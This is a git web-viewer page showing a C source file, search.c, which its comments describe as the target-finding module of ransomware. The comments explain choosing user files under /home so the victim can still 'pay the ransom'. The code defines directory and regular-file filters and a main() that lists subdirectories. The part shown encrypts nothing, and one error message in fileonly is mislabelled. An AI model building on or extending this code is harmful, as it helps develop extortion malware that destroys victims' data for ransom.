summaryrefslogtreecommitdiff
path: root/src/search.c
blob: 22e54867e1af89accc2198d3f225fca9b25b17a7 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
/***
 * SEARCH
 *
 * Find valid files to encrypt
*/

/*
Valid files for encryption should be specific to the user, not to the system. If you encrypt everything in /usr/bin, the user can't ever pay the ransom because their
shit is borked. Files related to the user's install, such as /home, /mnt, and /usr are valid targets (although I'll only target /home/specific-user/ for now)
*/

#define _GNU_SOURCE

#include "search.h"

#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
#include <error.h>
#include <errno.h>
#include <stdio.h>

int folderonly(const struct dirent64 *tester) {
    // Filter out the current and previous dir macros
    if(strcmp(tester->d_name, ".") == 0 || strcmp(tester->d_name, "..") == 0)
        return 0;

    // Check if the "file" is specifically a dir
    struct stat64 sb;
    if(stat64(tester->d_name, &sb) < 0) {
        error(0, errno, "[folderonly] Could not stat \"%s\"", tester->d_name);
        return 0; // Don't try to traverse into a dir that we don't know is a dir or not
    }

    // Filter out non dirs
    if((sb.st_mode & S_IFMT) != S_IFDIR)
        return 0;

    return 1;
}

int fileonly(const struct dirent64 *tester) {
    // Check if the "file" is specifically a dir
    struct stat64 sb;
    if(stat64(tester->d_name, &sb) < 0) {
        error(0, errno, "[folderonly] Could not stat \"%s\"", tester->d_name);
        return 0; // Don't mark a file for encryption if we can't safely say it's something that should be overwritten
    }

    // Filter out dirs
    if((sb.st_mode & S_IFMT) != S_IFREG)
        return 0;

    return 1;
}

int main (void) {
    struct dirent64 **eps;
    int n;

    n = scandir64("./", &eps, folderonly, alphasort64);
    if(n >= 0) {
        for(int cnt = 0; cnt < n; cnt++)
            puts(eps[cnt]->d_name);
    } else {
        perror("Couldn't open dir");
    }

    return 0;
}